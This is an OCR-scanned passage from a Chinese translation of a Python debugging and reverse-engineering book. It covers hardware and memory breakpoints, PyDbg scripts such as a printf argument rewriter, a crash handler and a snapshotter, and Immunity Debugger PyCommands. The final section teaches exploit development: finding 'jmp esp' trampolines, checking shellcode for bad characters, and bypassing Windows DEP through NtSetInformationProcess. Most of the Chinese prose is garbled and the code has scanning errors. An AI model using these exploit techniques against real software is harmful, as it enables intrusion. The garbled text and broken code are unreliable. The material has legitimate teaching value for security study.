elif not self. hardware breakpoints.has key(1):
available = 1

elif not self. hardware breakpoints.has_key(2):
available = 2

elif not self.hardware breakpoints.has_key(3):



available = 3
else:

return False

# We want to set the debug register in every thread
for thread id in self.enumerate _threads():
context = self.get thread context(thread id=thread id)

# Enable the appropriate flag in the DR7
# register to set the breakpoint
context.Dr7 |= 1 << (available * 2)

# Save the address of the breakpoint in the
# free register that we found
if  available == 0:
context.Dr0 = address
elif available = 1:
context.Drl = address
elif available = 2:
context.Dr2 = address
elif available = 3:
context.Dr3 = address

# Set the breakpoint condition
context.Dr7 |= condition << ((available * 4) + 16)

# Set the length
context.Dr7 |= length << ((available * 4) + 18)

# Set thread context with the break set
h thread = self.open_thread(thread id)
kernel32.SetThreadContext(h_thread,byref(context))

# update the internal hardware breakpoint array at the used
# slot index.

self.hardware breakpoints[available] = (address,length,condition)

return True

LA SR AR T, AT T N R A A S A AR . —
HIATG RN, 45 R ORI LA AT o (R i SN R A7 28 SRR DR7 [Fhs &
REREAT PG ST, S B Rl BERRAT e A B AF W 1, ARIRATEE FrFAf AL
PR PR B N — AN INT1 rh IR i) e oAb 3L



#my_debugger.py
class debugger():

def get _debug_event(self):

if self.exception == EXCEPTION_ ACCESS_VIOLATION:
print "Access Violation Detected."

elif self.exception == EXCEPTION BREAKPOINT:
continue_status = self.exception_handler_breakpoint()

elif self.exception == EXCEPTION_GUARD_ PAGE:
print "Guard Page Access Detected."

elif self.exception == EXCEPTION_SINGLE_STEP:

self.exception_handler_single step()

def exception_handler_single step(self):
# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & Ox1 and self.hardware breakpoints.has_key(0):

slot=0

elif self.context.Dr6 & 0x2 and self.hardware breakpoints.has_key(1):
slot =1

elif self.context.Dr6 & 0x4 and self.hardware breakpoints.has key(2):
slot=2

elif self.context.Dr6 & 0x8 and self.hardware breakpoints.has_key(3):
slot=3

else:

# This wasn't an INT1 generated by a hw breakpoint

continue_status = DBG_EXCEPTION _NOT_HANDLED
# Now let's remove the breakpoint from the list
if self.bp_del hw(slot):
continue_status = DBG_CONTINUE
print "[*] Hardware breakpoint removed."
return continue_status
def bp_del hw(self,slot):
# Disable the breakpoint for all active threads
for thread id in self.enumerate threads():
context = self.get thread context(thread id=thread id)



# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))
# Zero out the address

if  slot=0:

context.Dr0 = 0x00000000
elif slot == 1:

context.Drl = 0x00000000
elif slot == 2:

context.Dr2 = 0x00000000
elif slot == 3:

context.Dr3 = 0x00000000
# Remove the condition flag
context.Dr7 &=~(3 << ((slot * 4) + 16))
# Remove the length flag
context.Dr7 &= ~(3 << ((slot * 4) + 18))
# Reset the thread's context with the breakpoint removed
h_thread = self.open_thread(thread id)
kernel32.SetThreadContext(h_thread,byref(context))
# remove the breakpoint from the internal list.
del self.hardware breakpoints[slot]
return True

ISR Z) BEAd s > INTL glahirh (U BRI, A5 75 A WK A 4725 fe 8 1 Al
PEWT AL GREIERTI DR6). WA REME A F st gk 2 . B35 an SR AR A2 S I b ke I — A
WEPEWT AL, wiFs DRT HOAREAL B, R — DA AR TP T Sk . 1E3RATME
my test.py JF{E printf() b EAELEWT S ER .

#my_test.py

import my_debugger

from my debugger defines import *

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf = debugger.func_resolve("msvert.dIl","printf™)

print "[*] Address of printf: 0x%08x" % printf
debugger.bp _set hw(printf,], HW_EXECUTE)
debugger.run()

XA PABIRAE printf) LWCE T — A, BRI REL st maldith. Wis
P BE A — AT o IR B BEIX B P IAT TS A T my_debugger defines.py SCfF;
NI M) HW_EXECUTE A8 fg, X FE155 Refd A% B35 i .
AT IR S R



Enter the PID of the process to attach to: 2504
[*] Address of printf: 0x77c4186a

3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
[*] Exception address: 0x7¢901230

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
2228
2228

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704

[*] Hardware breakpoint removed.

Listing 3-4: AbFE— AN 7 o5 S 1 55

—UIAETUR R, BRI R, ACPERE PR BRI . SRR ESE L A, REIPAREL
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3.4.3 HAFET A

B e — N ESCHLE T e WA Rl RMRRRE IR S B 58 B — > WAF IR DU 4k B
b CHUMIAE RS0 A7 b B Al Do — BLAfiE 17 DR/, A il v R, A HE Ak
AR (guard) UL . 24 CPU 43K Vs i) iX B g A7 1, 5t 454l i — 4> GUARD PAGE_EXCEPTION
FEH o FRATTHINS AR S 5 AL PR pR 2, K DI SRR S BI LLAT, i Ja iR 4Rk AT .

AT BRIV DU RS, B ) R A RN A AR TUR BRI R 3X
1 GetSystemInfo() B £ 5¢ i, BRI 222 23—~ SYSTEM_INFO &5 #4), iX 45 #4407 wPageSize
BB, X B R G N AF TUERIA R ).
#my_debugger.py



class debugger():
def init_ (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

# Here let's determine and store

# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page size = system_info.dwPageSize

S RAFERIA GO, TIRFE N Rt A A ) ORI AR o 35— 2P ik AT 1 A i
P AE T S A AE T P AE LR — A BT . I8 ) VirtualQueryEx() B 3, ¥ &34 — A
MEMORY_BASIC_INFORMATION #i#t), XA Rh a3 1 U5 R sREOn Sl i) e S
T

SIZE T WINAPI VirtualQuery(
HANDLE hProcess,
LPCVOID IpAddress,
PMEMORY_BASIC INFORMATION IpBuffer,
SIZE T dwLength
);
typedef struct MEMORY BASIC INFORMATION{
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;

R 45 8 BaseAddress R A& AT SV E PR 1 R G ik . 82 R SR
VirtualProtectEx() B EA MR, BRI AL

BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,



LPVOID IpAddress,
SIZE T dwsSize,
DWORD fINewProtect,
PDWORD IpflOldProtect

IEBAMTEF SR RATEMQE 2 M2 RpE, Hh—MSiaogkE T T
PR30, 75— NS T A NAE B S, 7E4LEE GUARD _PAGE _EXCEPTION S [F i
W A3 . 2 G TRA P ET Atk b, DR B DX 3B AR o IRk BB s ik ml g
BEES 2 AN TTTHD .

#my_debugger.py

class debugger():
def init_ (self):

self.guarded_pages =]

self.memory_breakpoints = {}
defbp_set mem (self, address, size):
mbi = MEMORY BASIC INFORMATION()

# If our VirtualQueryEx() call doesn’t return
# a full-sized MEMORY BASIC INFORMATION
# then return False
if kernel32.VirtualQueryEx(self.h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof(mbi):

return False
current_page = mbi.BaseAddress

# We will set the permissions on all pages that are
# affected by our memory breakpoint.
while current page <= address + size:

# Add the page to the list; this will

# differentiate our guarded pages from those

# that were set by the OS or the debuggee process
self.guarded pages.append(current_page)

old_protection = ¢_ulong(0)



if not kernel32.VirtualProtectEx(self.h_process,
current_page, size,
mbi.Protect | PAGE_GUARD, byref(old_protection)):
return False

# Increase our range by the size of the
# default system memory page size
current_page += self.page size

# Add the memory breakpoint to our global list
self.memory_breakpoints[address] = (address, size, mbi)

return True
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bp_set(address, description="",restore=True,handler=None)

address /& B BEE KT s (OB AE , description S AU AT, HI K45 REAN BT i B2 B ME— 1 44 7.
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#printf_random.py
from pydbg import *



from pydbg.defines import *

import struct

import random

# This is our user defined callback function
def printf randomizer(dbg):

# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter_addr = dbg.context.Esp + 0x8

counter = dbg.read_process_memory(parameter addr,4)

# When we use read_process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further.
counter = struct.unpack("L",counter)[0]

print "Counter: %d" % int(counter)

# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random.randint(1,100)

random_counter = struct.pack("L",random_counter)[0]

# Now swap in our random number and resume the process
dbg.write_process_memory(parameter addr,random_counter)

return DBG_ CONTINUE
# Instantiate the pydbg class
dbg = pydbg()
# Now enter the PID of the printf loop.py process
pid = raw_input("Enter the printf loop.py PID: ")
# Attach the debugger to that process
dbg.attach(int(pid))
# Set the breakpoint with the printf randomizer function
# defined as a callback
printf_address = dbg.func_resolve("msvert","printf")
dbg.bp_set(printf address,description="printf address",handler=printf randomizer)
# Resume the process
dbg.run()

WAEIZAT printf_loop.py A printf random.py WA Bt 25 SUR A1 26 4-1 AHARL.

Table 4- 1: 112 2% A1 RE A% ) H
Output from Debugger Output from Debugged Process
Enter the printf loop.py PID: 3466 Loop iteration 0!

Loop iteration 1!

Loop iteration 2!



Loop iteration 3!

Counter: 4 Loop iteration 32!
Counter: 5 Loop iteration 39!
Counter: 6 Loop iteration 86!
Counter: 7 Loop iteration 22!
Counter: 8 Loop iteration 70!
Counter: 9 Loop iteration 95!
Counter: 10 Loop iteration 60!

N T ARSI, EEATEF printf_loop.py 5.
from ctypes import *
import time
msvert = cdll.msvert
counter = 0
while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter += 1

et A AL printf) %52 HIIX D counter A& B counter [H% DL, k& UAE printf
BRI BN 8, TC A8 5 A B B AN 2 5200 B AN (K3X AN counter(C 8 7 FT i 10 AT AL B Fi5 5 A4 g
IERIEARAE) .

RN %G B, PHIRESAE printf fEIA )% counter A4 4 (IR A ¥ B T Wi . IX 42
N counter BEFFHE B AN 4 T (X&) TiERFE BN LA R, ANEU AL
BT [FFEREE 2] printf_loop.py I 45 R —EH | 3 #ZEH M. B 4 FIRE, printf()
Berb i, P counter B BERIE MA 323X M- AR it B HLag oK, 035 UF 1 ARAE PR R
AR P g i ) g [ R R B e R SO ERAE . IRAE AR FRATTAR — %G PyDbg A& nfaf Ab 3 5 H
T 00t 1) o

4.2 AL A IE )

YRR AR U7 AT AR PR U 1] 1R 0T TR I B DA — B AN 532 10 5 =05 1) A7 1)
g, shos = AU G . SRR R VEREIAR)T, WA AR B 2 1A B s FR AT
Hrlhe. MNZBMBEHIE, BT BN AP a A, B e T Rep R

UG A AL BRI T (R I, FF LR A FUEGIA O IS B, FRHESE, FAFEE, LA
S B EITE S . B8 A TR EE W F X 2615 8BS — A R P el G — A e T
Ao

PyDbg RS AR T7 5 1) S — AN 4911 15 i) b B pR K, I HEAH G I S 105 S o 1K IR RNk
H ARt A& a1 C BRI strepy() > FATTH B O — A8 B R o 26 P RBATHE —A
iR Y PyDbg JEUAS B i 2 8ERE AL PR 61 . 62 H A buffer overflow.py, U5 F:



#buffer_overflow.py

from ctypes import *

msvert = cdll.msvert

# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")
# Create the 5-byte destination buffer

buffer =c char p("AAAAA")

# The overflow string

overflow ="A" * 100

# Run the overflow

msvert.strepy(buffer, overflow)

[f) {1t /13X 1) msvert.strepy(buffer, overflow), #52 IMW iZt—ANRE, ML 545 BT

e — A s, KA & overflow Y fE iR A AE A, 2 H Sk M 24 1F M dik
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#access_violation_handler.py

from pydbg import *

from pydbg.defines import *

# Utility libraries included with PyDbg
import utils

# This is our access violation handler
def check accessv(dbg):

# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT HANDLED
crash bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)

print crash_bin.crash _synopsis()
dbg.terminate _process()

return DBG_EXCEPTION NOT HANDLED
pid = raw_input("Enter the Process ID: ")
dbg = pydbg()
dbg.attach(int(pid))
dbg.set_callback(EXCEPTION_ ACCESS VIOLATION,check accessv)
dbg.run()

IAEIZ1T buffer_overflow.py, Ffic F'EMBEFES, AR & &5 LLS FHE1T.



PUAT access_violation handler.py S, HIAMRELF PID. SRR 25 b B 2EFE LS , 7
ELF I 2 AT B, 3P RARNAZ A BRI 4-1 HVBLA it
python25.d11:1e071¢cd8 mov ecx,[eax+0x54] from thread 3376 caused access
violation when attempting to read from 0x41414195 CONTEXT
DUMP
EIP: 1e071cd8 mov ecx,[eax+0x54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 ( 11556304) -> @U'" B'0Ox, 0 )Xb@|V ' "L{O+H]$6 (heap)
ECX: 0021fe90 ( 2227856) -> 1$4|7/4|@%,\!'$H8|!OGGBG)00S\o (stack)
EDX: 00aldc60 ( 10607712) > VO'w'W (heap)
EDI: 1e071cd0 ( 503782608) -> N/A
ESI: 00a84220 ( 11026976) > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: lelcf448 ( 505214024) -> enable() -> NoneEnable automa (stack)
ESP: 0021fe74 ( 2227828) -> 2? BUH' 7/4|@%,\!'$H8|!OGGBG) (stack)
+00: 00000000 ( 0) > N/A
+04: 1e063132 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(heap)
+0c: 00000000 ( 0) > N/A
+10: 00000000 ( 0) > N/A

+14: 00b055¢0 ( 11556288) > @F@U"" B'Ox, 0 )Xb@|V" "L {O+H]$ (heap)

disasm around:
0x1e071cc9 int3
Ox1e071cca int3
0x1e071cchb int3
0x1e071ccc int3
0x1e071ccd int3
0x1e071cce int3
0x1e071ccf int3
0x1e071¢cdO push esi
0x1e071cdl mov esi,[esp+0x8]
0x1e071cd5 mov eax,[esi+0x4]
0x1e071cd8 mov ecx,[eax+0x54]
0x1e071cdb test ch,0x40
0x1e071cde jz 0x1e071cff
0x1e071ce0 mov eax,[eax+0xa4]
0x1e071ceb test eax,eax
0x1e071ce8 jz Ox1e071cf4
Ox1e071cea push esi
0x1e071ceb call eax
0x1e071ced add esp,0x4
0x1e071cf0 test eax,cax
0x1e071cf2 jz Ox1e071cff



SEH unwind:
0021{fe0 -> python.exe:1d00136¢ jmp [0x1d002040]
Tt > kernel32.d11:7c¢839aa8 push ebp
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#snapshot.py

from pydbg import *

from pydbg.defines import *
import threading

import time

import sys

class snapshotter(object):



def init (self,exe path):

self.exe_path = exe_path
self.pid = None
self.dbg = None
self.running =True

# Start the debugger thread, and loop until it sets the PID

# of our target process

pydbg_thread = threading. Thread(target=self.start debugger)
pydbg_thread.setDaemon(0)

pydbg_thread.start()

while self.pid == None:

time.sleep(1)

# We now have a PID and the target is running; let's get a

# second thread running to do the snapshots

monitor_thread = threading. Thread(target=self.monitor debugger)
monitor_thread.setDaemon(0)

monitor_thread.start()

def monitor _debugger(self):

while self.running == True:

input = raw_input("Enter: 'snap','restore' or 'quit™)
input = input.lower().strip()

if input == "quit":
print "[*] Exiting the snapshotter."
self.running = False

self.dbg.terminate_process()

elif input == "snap":

print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Obtaining snapshot."
self.dbg.process_snapshot()

print "[*] Resuming operation."

self.dbg.resume_all threads()



elif input == "restore":

print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Restoring snapshot."
self.dbg.process_restore()

print "[*] Resuming operation."
self.dbg.resume_all threads()

def start _debugger(self):
self.dbg = pydbg()

pid = self.dbg.load(self.exe_path)

self.pid = self.dbg.pid

self.dbg.run() exe path ="C:\WINDOWS\\System32\\calc.exe"
snapshotter(exe path)
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MAX_INSTRUCTIONS (FRATE I ALHACAS A D o iRt A s 9 IR G 2 —A e B 16 ok £
TEAE BRAR S N PV ECHE IR, 2233 20 crash 200 #RALLPAELAS o 3 Al HH AT T ) s Tl
PRS2,

FEhy, 57 danger track.py, HIA T IHALHS .

#danger_track.py

from pydbg import *

from pydbg.defines import *

import utils

# This is the maximum number of instructions we will log

# after an access violation

MAX INSTRUCTIONS =10

# This is far from an exhaustive list; add more for bonus points

dangerous_functions = {
"strcpy"  : "msvert.dll",
"strncpy" :  "msvert.dll",
"sprintf" :  "msvert.dll",
"vsprintf":  "msvert.dll"

}

dangerous_functions_resolved = {}

crash_encountered = False

instruction_count =0

def danger handler(dbg):

# We want to print out the contents of the stack; that's about it

# Generally there are only going to be a few parameters, so we will

# take everything from ESP to ESP+20, which should give us enough
# information to determine if we own any of the data

esp_offset=10

print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]

print

while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset +=4

print

dbg.suspend all threads()
dbg.process_snapshot()
dbg.resume all threads()



return DBG_ CONTINUE
def access_violation handler(dbg):

global crash _encountered

# Something bad happened, which means something good happened :)
# Let's handle the access violation and then restore the process
# back to the last dangerous function that was called

if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION_NOT HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash _synopsis()

if crash_encountered == False:
dbg.suspend_all threads()
dbg.process_restore()
crash_encountered = True

# We flag each thread to single step
for thread_id in dbg.enumerate threads():

print "[*] Setting single step for thread: 0x%08x" % thread id
h thread = dbg.open_thread(thread id)
dbg.single step(True, h_thread)
dbg.close_handle(h_thread)

# Now resume execution, which will pass control to our
# single step handler
dbg.resume all threads()
return DBG_CONTINUE
else:
dbg.terminate process()

return DBG_EXCEPTION_NOT HANDLED

def single step handler(dbg):
global instruction_count
global crash _encountered

if crash_encountered:
if instruction_count == MAX INSTRUCTIONS:
dbg.single step(False)



return DBG_CONTINUE
else:

# Disassemble this instruction
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s" % (instruction_count,dbg.context.Eip,
instruction)
instruction_count += 1

dbg.single step(True)
return DBG_CONTINUE

dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor: "))

dbg.attach(pid)
# Track down all of the dangerous functions and set breakpoints

for func in dangerous_functions.keys():

func_address = dbg.func_resolve( dangerous_functions[func],func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set( func address, handler = danger handler )
dangerous_functions_resolved[func_address] = func
dbg.set_callback( EXCEPTION ACCESS VIOLATION, access_violation_handler )
dbg.set callback( EXCEPTION_ SINGLE STEP, single step handler )
dbg.run()
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S.2.1 PyCommands

££ Immunity #4417 Python [¥] /5% R4 | PyCommands . PyCommands & /& — > python
JRIA SCAF, A7 CEE Immunity 222%E H 5% 1) PyCommands SCAF32 L. A4S python JHIA#S AT —
MMESS (hooking, AT HTESR), #4T— PyCommand. %3 PyCommand #{iH —/
RIS e LUN B0 — /N ERE A RIL.

from immlib import *

def main(args):
# Instantiate a immlib.Debugger instance
imm = Debugger()
return "[*] PyCommand Executed!"

PyCommand A /ML & 5. —A> main() A%, HEW—AN250 (T S84 80
python F1J38) o 73— AN 28 S5 A 7E bR B AT 58 BT I i DA ZB0R [R]— AN E 477 5, I s SE BT AE
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5.2.2 PyHooks
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AllExceptHook
JITA 57 0 BB 22 s & IX A ook

PostAnalysisHook

FE— MR 3 BT 8 LRI I, 3X A hook AEax il « IXARH A, BARIEAEREHL)
T 58 UG 7 B P AT ERAS ST I I . Ad AT, ZE A immlib X AN AT R BORT LAl
DR R P 2 iy A6 A0 73 B IR

AccessViolationHook

XA hook 1y )i Bilfi . I T-AE fuzz BN B ZhALRIFEE B .

LoadDLLHook/UnloadDLLHook
—> DLL #0230k #48) ifig fiok %

CreateThreadHook/ExitThreadHook
M ANHT 2R RO B S B Al A

CreateProcessHook/ExitProcessHook

2 H AR BEREIT AR B A AR IR A % o

FastLogHook/STDCALLFastLogHook
X W hook A HI— AN ZBbAL , R AT AR E6 45 21— B hook AUH I LU %y 7€ i A7 47
ar, AAAEEONE o 1 R BRI (1 T A ISP hook ARFAT T S /N F0RE VRN UH o

LA 1) LogBpHook il R L 5E 24}y PyHook [PIARAR -

from immlib import *
class MyHook( LogBpHook ):
def init (self):
LogBpHook. init (self)



def run( regs ):
# Executed when hook gets triggered

TATEL T LogBpHook 28, JFH# T run()p&%L (20D 4 hook # i & fr I, B
HI) CPU Fifras, VNI HAKEMAN regs, BN ERATH T MBS EANT T o regs &2 F
B, QR 1) AH B 75 A A
regs["ESP"]

hook AJ LLsg X AE PyCommand B, BEMIHH . tHa] U5 AN PyHooks H 3k .
A3 Immunity #2S I INBGX LY H 5. F2 T KRG L84

5.3 Exploit F &

R g — AN TFR , EUR 58 R AR P 2 01, 3 R 1) — B 25k « Al Immunity
LA T IEWUESAG V2 BT, AE e AR D AN D R 7 o 2 FORIRAMTEE T R —
¥ pyCommands AT exploit [ JT & . X4 PyCommands 252 I Ae w45, 2R e
A B PATRU R E6 5 2] shellcode, 44w shellcode [ IR A 7 i 75 43 5 i g 1R AT 55 4%
A TIE¥ ] PyCommand 4 findantidep 483 DEP CARAEHATIRT ).

5.3.1 HALFRIAAES

FEARAS EIP (IR 5 AR R AA TR R F A2 2] shellcode. ST i, 1]
— AR AEAIR R shellcode o PR IK A A 7E W] AT (10 AR HL B 0 28 PO B L 4 3] 5k
R 7547 a0 Immunity SR A8 A0 REZ LTI T AR AR L, SR ST AR
TR PR T .

#findinstruction.py
from immlib import *
def main(args):
imm = Debugger()
search_code =" ".join(args)
search_bytes = imm.Assemble( search code )

search_results = imm.Search( search_bytes )
for hit in search_results:

# Retrieve the memory page where this hit exists

# and make sure it's executable

code page =imm.getMemoryPagebyAddress( hit )
access = code_page.getAccess( human = True )
if "execute" in access.lower():



imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ),
address = hit )

return "[*] Finished searching for instructions, check the Log window."

BAVEHA B RS GEBNAA P 2R AT gTa 21D, 510 IS Search() 172
LEFEAFE I N AR 2 TR P AL X AN R A 1 Mk . ZE3R [l k2 6 b, R B REAS ik BT & 1K)
o PN DU S AT o BB — NS L & T BN B 3 1 o ZE A ES 1)
A EHATW FAS a A .

!findinstruction <instruction to search for>
JIAIZAT Ja A UL R =4

!findinstruction jmp esp

R R 5-2

Found: g
E=U1=H

I!findinstrumiun jmp esp

[*] Finizhed zearching for instructions, check the Log window.

5-2 !findinstruction PyCommand %

WAERAICEA T Atk p) 3, XKLLk REATFATIY shellcode IBATHER CHIT 4R
(¥ shellcode HUHEFAAE ESP H) o KRNI FP#A L VF 2200, HRATIHEC LA T RENS
PRA T HAR- ML T H, REFRE K.

APRAE B A B A AR R S8, P FAFICR,  shellcode BVFARIMEINAT.
EABF, WERIATN A strepyO) I R T Z2h XU Y, FATRIR S s AN et &5



NULL “ £ (0x00). X 4y strepy() — i 2] NULL #7525 1085 DL EcHs . IRk, s /s 2%
shellcode Zits, 75 HARNAFHAT G ARG . SRTAT, UHZA &P R A
T exploit g5 K. LWIFET h A 2 T AR M0, BCE g IR P 3T 7 2% Pl 2 A4
FIRJALBE, X TARFAFIR T .

LR, WEARRIRAT T EIP IR, AR5 shellcode #1415 ] 4 9 5+ crash H
b, 5 CHE AR Ay FSTT, 205 — AN R AR EL R, il i Uk R ARAS 21 (0 i
TR o FEIXZHT, B FEEMIA shellcode #EHER K I ZI N A7, Immunity i
FIXI TAEE R S B 5-3 Bon T H 2 5 R HER

Fegisters (FPUI

ZB01CECH =

Figure 5-3: ¥t J5 Immunity £ % I



AR L, EIP 4T AIE A ESP IF—FF . 4 AN 0xCC RS T 35 15 20 1) 52 1 1 T A,
G WE TAEIX YA T Wi ( 0xCC IINT3 (54— ). S84 4 AN INT3 #5418
ESP+0x4 /& shellcode [ FF4f. FATKE shellcode HEAT i H1F) ASCII 4wfith, SR J5 — AT —A
FATI LR A7 1) shellcode FIFRATT R I% shellcode L2 M, WA AN FHA—FE,
W B A WL BT I I8 7225 B BT Sl 00K XA B A NN shellcode i

PREERS N CANVAS, Metasploit, 8i# R H 1 HE ) shellcode. #7EE badchar.py SCAF,
BN LA A
#badchar.py
from immlib import *
def main(args):

imm = Debugger()

bad char found = False

# First argument is the address to begin our search

address = int(args[0],16)

# Shellcode to verify

shellcode ="<<COPY AND PASTE YOUR SHELLCODE HERE>>"

shellcode length = len(shellcode)

debug_shellcode = imm.readMemory( address, shellcode length )

debug_shellcode = debug_shellcode.encode("HEX")

imm.log("Address: 0x%08x" % address)

imm.log("Shellcode Length : %d" % length)

imm.log("Attack Shellcode: %s" % canvas_shellcode[:512])

imm.log("In Memory Shellcode: %s" % id_shellcode[:512])

# Begin a byte-by-byte comparison of the two shellcode buffers

count =0

while count <= shellcode length:

if debug_shellcode[count] != shellcode[count]:
imm.log("Bad Char Detected at offset %d" % count)
bad char found = True
break
count += 1
if bad_char found:
imm.log("[*****] ")
imm.log("Bad character found: %s" % debug_shellcode[count])
imm.log("Bad character original: %s" % shellcode[count])
imm.log("[*****] ")

return "[*] !badchar finished, check Log window."

EIXA A, TATT &M Immunity ZEH 9 H T readMemory() BRI 5. )R 1A &
AT PR LU . IAEAR T BRI shellcode M ASCIT 4t (U ARG 715 0XEB 0x09,
il 5 S5 R A R % EB09), KRS IS A AS, IF Hoin FisdT.

badchar <Address to Begin Search>



76 AT HT IR B R, FRATTRE N ESP+0x4 Hb Bk (0XO0AEFDAC) - #k, Bt LA 22 4E
PyCommand $#Uf7a1 T iy 2

'badchar 0x00AEFD4c

FRATT I BAAE e IG5 74 A BRI RE ST 208 HV 8 R I e £ R shellcode
S5t 18] o

5.3.3 2411 windows [X] DEP

DEP /& Flff windows(XP SP2, 2003, Vista) | SZHLI ) AR LA, T 145
FEAR B HE AT o IX AR R LR R 2 10 A ARG I2 4T, B K21 exploit #5234t
shellcode JA{EHER b o SRIMA — NI RET W0 (481 DEP, F AR A1 API BR 4L
NtSetInformationProcess() . ‘& A& % FH 1L FE ¥ DEP fR4F, K F2 7 AT AR #4 #% 21 shellcode
Immunity WX #$EAL T —4 PyCommand 74
findantidep.py AEUSIR 7% 5 $k 31 DEP fRittik. ibIRATH —FHIXA very very nice [FEREL.

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

AT AEBERER) DEP AR5 K%K, 75 EOKS NtSetInformationProcess() Y
ProcessInformationClass Bf %4 ¥ & i}, ProcessExecuteFlags (0x22), ¥ ProcessInformation 24§
% '#® MEM_EXECUTE_OPTION ENABLE (0x2). i@ /& /£ shellcode 1 if F iX /™ e £t 25 H
L NULL 45 R 75 A3 B — AN IE% M T NtSetInformationProcess() i BE £, FR¥¢
AT shellcode #5 W RIIXAN AU . C48H A C AR ASEAE ntdlldll B AFH Immunity
B4 ntd1Ldll $ H XAk

7C91D3F8 . 3C 01 CMP AL,1
7C91D3FA . 6A 02 PUSH 2
7C91D3FC  .5E POP ESI

7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD  .“E9 41D5SFDFF IJMP ntdll.7C91D403

7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0



7C91D407 . OF85 60890100 JNZ ntdll.7C935D6D

7C935D6D > 6A 04 PUSH 4

7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C935D72 .50 PUSH EAX

7C935D73 . 6A 22 PUSH 22

7C935D75 . 6AFF PUSH -1

7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess

T AR RS 52 1 NtSetInformationProces HJAE R . HoGILE AL A1, #22 3A
ESI, S 4 F Bk 2 0x7C93FEBA . 7EiX HUKF ESI #5 DUtk EBP-4 (043 ESI 47442
2). FEHAEFIBR A 2] 7CO1D403 . 71X HUKG A A HEAR EBP-4 I AEE . JE3% W Bk 31
0x7C935D6D. MiX FLITUELIFAH MR, 4 B3 — N EAER, EBP-4 (U242 2D ¥ n#dt EAX,
RIG IS, 85 0x22 B JE N, fea-1 BR N (-1 FonAR 14 i HEFE ) DEP). i
ZwSetInformationProcess (NtSetInformationProcess ] JIF% ). L 1 HARHS 58 3 ) T B AH 24+
TN THI P BB ES <

NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )

Perfect! iXFEREFEN DEP SUHHNH T o 7EIX Z HIA P IUE A E 1. 55— exploit 18
43 F i HE 0x7C91D3F8 4idr. 5 —HUTH] 0x7C91D3F8 21y, Miff AL BEE R 1.— H i
JETIXEe A, FRATTELREIE L IMP ESP R4 IR 45 B AT 11 shellcode . BAE A1 = 4> 4
ZR ek .

— ALK AL WCE K 1 AR IR E
—ANHUEAR 3% e DEP AR 1 B Huhk
— AN HERE AT R IR [A] 21 F AT shellcode

TRV 8 R 7 ST LI SRIBGX ek bk, g Immunity $2458 T findantidep.py 4l Bh3AT] 58k
I o AR R A exploit FATH, CRESKA O exploit 4545, HUAEME AN 1. 1%
RFEF findantidep.py U5, £ FAA AT E HEATIIL.

#findantidep.py
import immlib
import immutils
def tAddr(addr):
buf = immutils.int2str32_swapped(addr)
return "\\x%02x\\x%02x\\x %602x\\x%02x" % ( ord(buf[0]),
ord(buf[1]), ord(buf[2]), ord(buf[3]) )

DESC="""Find address to bypass software DEP"""
def main(args):



